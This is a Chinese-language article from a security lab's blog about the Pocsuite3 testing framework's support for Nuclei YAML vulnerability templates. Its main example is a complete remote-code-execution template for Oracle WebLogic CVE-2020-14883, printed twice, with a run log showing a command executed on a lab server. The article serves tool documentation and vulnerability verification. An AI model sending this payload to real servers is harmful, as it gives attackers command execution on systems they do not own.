作者:fenix@知道創宇404實驗室
日期:2022年11月15日

前言

Pocsuite3 是由知道創宇 404 實驗室打造的一款基于 GPLv2 許可證開源的遠程漏洞測試框架【1】。框架本身使用 Python3 開發,集成了 ZoomEye、Shodan、CEye、Interactsh 等眾多安全服務的 API,用戶可以基于 Pocsuite3 快速編寫 PoC/Exp,對批量目標進行漏洞驗證并獲取匯總結果。

Nuclei 是一款由 projectdiscovery 開源的基于 YAML 語法模板的定制化快速漏洞掃描器【2】。Nuclei 定義了一套向目標發送請求,匹配響應判定漏洞是否驗證成功的語法,支持 TCP、HTTP 等多種協議。Nuclei 的社區非常活躍,nuclei-templates 項目提供了幾千個由社區維護的 PoC 模版【3】。

相比于 Nuclei,Pocsuite3 更加靈活,可以直接使用大量的第三方庫,對于一些涉及復雜協議的漏洞會很方便,而且用戶只要會寫 Python,就能快速上手。從 2.0.0 版本開始,Pocsuite3 支持 YAML 格式的 PoC,兼容 Nuclei,可以直接使用 nuclei template。

本文拋磚引玉,簡單聊聊 Nuclei YAML 語法模版,以及 Pocsuite3 是如何實現兼容的。關于 Nuclei 模版的更詳細信息可參考 Nuclei 官方文檔。

Nuclei YAML 語法模版

YAML 是一種數據序列化語言,通常用于編寫配置文件。它的基本語法規則如下(來源:阮一峰《YAML 語言教程》【4】)。

  • 大小寫敏感
  • 使用縮進表示層級關系
  • 縮進時不允許使用 Tab 鍵,只允許使用空格。
  • 縮進的空格數目不重要,只要相同層級的元素左側對齊即可

# 表示注釋,從這個字符一直到行尾,都會被解析器忽略。

YAML 支持的數據結構有三種。

  • 對象:鍵值對的集合,使用冒號結構表示。
  • 數組:一組按次序排列的值,又稱為序列(sequence) / 列表(list)。一組連詞線開頭的行,構成一個數組。如果數據結構的子成員是一個數組,則可以在該項下面縮進一個空格。
  • 純量(scalars):單個的、不可再分的值,如字符串、整數、布爾值等。

nuclei-templates/cves/2020/CVE-2020-14883.yaml 為例:

id: CVE-2020-14883

info:
  name: Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution
  author: pdteam
  severity: high
  description: The Oracle Fusion Middleware WebLogic Server admin console in versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is vulnerable to an easily exploitable vulnerability that allows high privileged attackers with network access via HTTP to compromise Oracle WebLogic Server.
  reference:
    - https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2020-14883
  tags: oracle,rce,weblogic,kev,packetstorm,cve,cve2020

requests:
  - raw:
      - |
        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en
        CMD: {{cmd}}
        Content-Type: application/x-www-form-urlencoded
        Accept-Encoding: gzip, deflate

        test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

    payloads:
      cmd:
        - id

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION"

      - type: word
        part: body
        words:
          - 'uid='
          - 'gid='
          - 'groups='
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"

# Enhanced by mp on 2022/04/20

這個模版大致可分為以下幾部分:

id: str  # 模版的唯一ID,必要字段。
info: {k: v}  # 漏洞信息字段,包含漏洞名稱、作者、漏洞嚴重性、漏洞描述、引用連接、評分、漏洞標簽等,基本都是可選字段。
variables: {k: v}  # 全局變量,值可以是一個字符串或者一個表達式,上述模版未提供
requests: []  # 定義的 HTTP 請求(核心部分)

最核心的是 requests 部分,requests 代表定義 HTTP 請求。Nuclei 支持多種協議,比如想定義 TCP 請求就需要使用 network 字段。

requests 的語法如下,它的每個元素都包含單/多個 HTTP 請求、payloads(可選)、匹配規則、解壓規則(可選)。大多數情況下定義一個就足夠了。

requests
  # 方式一:原始(raw)請求
  - raw:
      - |
        GET /index.php HTTP/1.1   

      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Language: en

        ...
  # 方式二:GET, POST, PUT, DELETE 請求
  - method: GET
    path:
      - "{{BaseURL}}/login.php"
      - "{{BaseURL}}/index.php"  
    headers: {}  

    # payload 組合方式
    attack: clusterbomb
    # 提供的 payload,用于請求填充
    payloads: {}
    # 解壓規則,用于從上一個請求響應中提取信息,以用于后續的請求填充或者結果返回。
    extractors: []
    # 定義的請求發送完再進行匹配
    req-condition: false
    # 命中第一個匹配就返回
    stop-at-first-match: true
    # 匹配規則的邏輯關系,如果是 and 則表示所有匹配條件必須都為 true。
    matchers-condition: and
    # 匹配規則
    matchers: []

定義 http 請求支持兩種方式,1、分別定義 method、path、headers、body 等;2、直接提供 http 原始請求。請求中會包含形如 {{變量名或表達式}} 的動態值,需要在發送請求前替換。變量命名空間由 variables、payloads、extractors 解壓出來的值、目標 url 等一起提供。解壓規則和匹配規則中也會包含動態值。

extractors 有以下幾種類型:

1、regex,正則提取;
2、kval,健值對,比如提取指定響應頭;
3、json,使用 jq 的語法提取 json 數據;
4、xpath,使用 xpath 提取 html 響應數據;
5、dsl,使用表達式提取,不常用。

WebLogic CVE-2020-14883 的解壓規則定義如下,使用正則提取了 id 命令的執行結果。

extractors:
      - type: regex
        regex:
          - "(u|g)id=.*"

matchers 的類型定義如下:

1、status,匹配 http 響應狀態碼;
2、size,匹配長度,如 Conteng-Length;
3、word,字符串匹配;
4、regex,正則匹配;
5、binary,二進制數據匹配;
6、dsl,使用復雜表達式進行匹配;

舉個例子:

matchers:
  # 對響應 headers 進行字符串匹配
  - type: word
    part: header
    words:
      - "ADMINCONSOLESESSION"

  # 對響應 body 進行字符串匹配,且要包含所有子串。
  - type: word
    part: body
    words:
      - 'uid='
      - 'gid='
      - 'groups='
    condition: and

  # 匹配 http 響應狀態碼
  - type: status
    status:
      - 200

上面我們介紹了各個部分的含義。總體來看,引擎大致運行流程如下:

1、迭代所有的 payloads 組合;
2、針對每個 payloads 組合,順序依次發送定義的請求并獲取響應結果(需要替換請求中的動態值);
3、遍歷所有的解壓規則,從響應提取信息,合并到局部變量命名空間,或者用于結果返回(由 internal 變量控制);
4、如果 req-conditio 的值為 true,則跳轉到 2 繼續發送下一個請求;并提取響應結果各個部分,保存到局部變量命名空間,形如:status_code_1body_2
5、遍歷匹配規則,獲取匹配結果,如果匹配則返回,否則繼續;

Pocsuite3 兼容 nuclei 的部分實現細節

YAML 格式 PoC 如何和原框架兼容

我們不想改動 Pocsuite3 注冊 PoC 到框架的方式,因此將 Nuclei 實現成了一個相對獨立的模塊,并額外提供了一個方法。當框架加載 PoC 時發現是 YAML 格式,會自動轉換成 Pocsuite3 的 PoC 格式。因此 YAML 格式的 PoC 和 Python PoC 腳本在使用上沒有任何區別。

class nuclei:
...
   def __str__(self):
        """
        Convert nuclei template to Pocsuite3
        """
        info = []
        key_convert = {
            'description': 'desc',
            'reference': 'references'
        }
        for k, v in self.json_template['info'].items():
            if k in key_convert:
                k = key_convert.get(k)
            if type(v) in [str]:
                v = json.dumps(v.strip())

            info.append(f'    {k} = {v}')

        poc_code = [
            'from pocsuite3.api import POCBase, Nuclei, register_poc\n',
            '\n',
            '\n',
            'class TestPOC(POCBase):\n',
            '\n'.join(info),
            '\n',
            '    def _verify(self):\n',
            '        result = {}\n',
            '        if not self._check(is_http=%s):\n' % (len(self.template.requests) > 0),
            '            return self.parse_output(result)\n',
            "        template = '%s'\n" % binascii.hexlify(self.yaml_template.encode()).decode(),
            '        res = Nuclei(template, self.url).run()\n',
            '        if res:\n',
            '            result["VerifyInfo"] = {}\n',
            '            result["VerifyInfo"]["URL"] = self.url\n',
            '            result["VerifyInfo"]["Info"] = {}\n',
            '            result["VerifyInfo"]["Info"]["Severity"] = "%s"\n' % self.template.info.severity.value,
            '            if not isinstance(res, bool):\n'
            '               result["VerifyInfo"]["Info"]["Result"] = res\n',
            '        return self.parse_output(result)\n',
            '\n',
            '\n',
            'register_poc(TestPOC)\n'
        ]
        return ''.join(poc_code)

如何加載 YAML 模版

Golang 可以直接反序列化 JSON 數據為結構體看著非常優雅,在 Python3 中使用 dataclass 和 daciate 庫也可以做到這一點,還能順便做類型檢查。另外,Python 中變量不能包含中橫線,需要對數據做一些預處理。

@dataclass
class Template:
    """Template is a YAML input file which defines all the requests and other metadata for a template.
    """
    id: str = ''
    info: Info = field(default_factory=Info)
    requests: List[HttpRequest] = field(default_factory=list)
    network: List[NetworkRequest] = field(default_factory=list)
    stop_at_first_match: bool = True
    variables: dict = field(default_factory=dict)

class Nuclei:
    def __init__(self, template, target=''):
        self.yaml_template = template
        try:
            self.yaml_template = binascii.unhexlify(self.yaml_template).decode()
        except ValueError:
            pass
        self.json_template = yaml.safe_load(expand_preprocessors(self.yaml_template))
        self.template = dacite.from_dict(
            Template, hyphen_to_underscore(self.json_template),
            config=dacite.Config(cast=[Severify, ExtractorType, MatcherType, HTTPMethod, AttackType, NetworkInputType]))

DSL 表達式執行

使用 Python 實現了 DSL 的大部分函數,限制了表達式所能訪問的函數和屬性,最后通過 eval 執行。

def safe_eval(expression, variables):
    if not _check_expression(expression, allowed_variables=list(variables.keys())):
        expression = expression.replace(' && ', ' and ').replace(' || ', ' or ')
        if not _check_expression(expression, allowed_variables=list(variables.keys())):
            raise Exception(f"Invalid expression [{expression}], only a very simple subset of Python is allowed.")
    return eval(expression, globals(), variables)

使用效果

使用 -r 直接加載 YAML 模版即可,通過 -v 設置日志級別,可以輸出模版運行細節,包括請求和響應、表達式執行、解壓規則和匹配規則的運行結果。

?  ~ pocsuite -r ~/nuclei-templates/cves/2020/CVE-2020-14883.yaml -u  http://172.29.157.74:7001  -v 2                                   

,------.                        ,--. ,--.       ,----.   {2.0.1-cb758d9}
|  .--. ',---. ,---.,---.,--.,--`--,-'  '-.,---.'.-.  |
|  '--' | .-. | .--(  .-'|  ||  ,--'-.  .-| .-. : .' <
|  | --'' '-' \ `--.-'  `'  ''  |  | |  | \   --/'-'  |
`--'     `---' `---`----' `----'`--' `--'  `----`----'   https://pocsuite.org
[*] starting at 18:34:40

[18:34:40] [INFO] loading PoC script '/Users/fenix/nuclei-templates/cves/2020/CVE-2020-14883.yaml'
[18:34:41] [INFO] pocsusite got a total of 1 tasks
[18:34:41] [DEBUG] pocsuite will open 1 threads
[18:34:41] [INFO] running poc:'Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution' target 'http://172.29.157.74:7001'
[18:34:52] [DEBUG] < POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
< Host: 172.29.157.74:7001
< User-Agent: Mozilla/5.0 (compatible; MSIE 5.0; Windows NT 6.0; Trident/4.0)
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< Accept-Language: en
< CMD: id
< Content-Type: application/x-www-form-urlencoded
< Content-Length: 1166
< 
< test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("CMD");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')

> HTTP/1.1 200 OK
> Date: Wed, 09 Nov 2022 02:34:52 GMT
> Transfer-Encoding: chunked
> Content-Type: text/html; charset=UTF-8
> Set-Cookie: ADMINCONSOLESESSION=hpNaPYWzVQlWjXS0qq3B6CBq43oDb1kLXFpPZS6iOBlsVxfbRC-2!-1601473325; path=/console/; HttpOnly
> 
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)

[18:34:52] [DEBUG] [+] Extractor(name='', type=<ExtractorType.RegexExtractor: 'regex'>, regex=['(u|g)id=.*'], group=0, kval=[], json=[], xpath=[], attribute='', dsl=[], part='', internal=False, case_insensitive=False) -> {'internal': {}, 'external': {}, 'extra_info': ['uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)']}
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.WordsMatcher: 'word'>, condition='or', part='header', negative=False, name='', status=[], size=[], words=['ADMINCONSOLESESSION'], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.WordsMatcher: 'word'>, condition='and', part='body', negative=False, name='', status=[], size=[], words=['uid=', 'gid=', 'groups='], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [DEBUG] [+] Matcher(type=<MatcherType.StatusMatcher: 'status'>, condition='or', part='body', negative=False, name='', status=[200], size=[], words=[], regex=[], binary=[], dsl=[], encoding='', case_insensitive=False, match_all=False) -> True
[18:34:52] [+] URL : http://172.29.157.74:7001
[18:34:52] [+] Info : {'Severity': 'high', 'Result': [{'cmd': 'id', 'extra_info': ['uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)']}]}
[18:34:52] [INFO] Scan completed,ready to print

+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
| target-url                |                                         poc-name                                        | poc-id | component | version |  status |
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
| http://172.29.157.74:7001 | Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution |   0    |           |         | success |
+---------------------------+-----------------------------------------------------------------------------------------+--------+-----------+---------+---------+
success : 1 / 1

[*] shutting down at 18:34:52

附:演示視頻。

最后

目前的實現能覆蓋大部分 HTTP 和 Network 模版,Nuclei 的一些特殊功能如:Workflows、條件競爭請求、請求注釋等暫不支持。最新版本已經推送到 PyPI、Homebrew 倉庫、Dockerhub、Archlinux 等,等這個大版本穩定后會繼續推送 Debian、Kali、Ubuntu。如果大家在使用中發現任何問題,歡迎提交 Issue 或貢獻代碼。

參考鏈接

【1】: Pocsuite3 框架

https://pocsuite.org

【2】: Nuclei 框架

https://nuclei.projectdiscovery.io

【3】: nuclei-templates 項目

https://github.com/projectdiscovery/nuclei-templates

【4】: YAML 語言教程

https://www.ruanyifeng.com/blog/2016/07/yaml.html


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2015/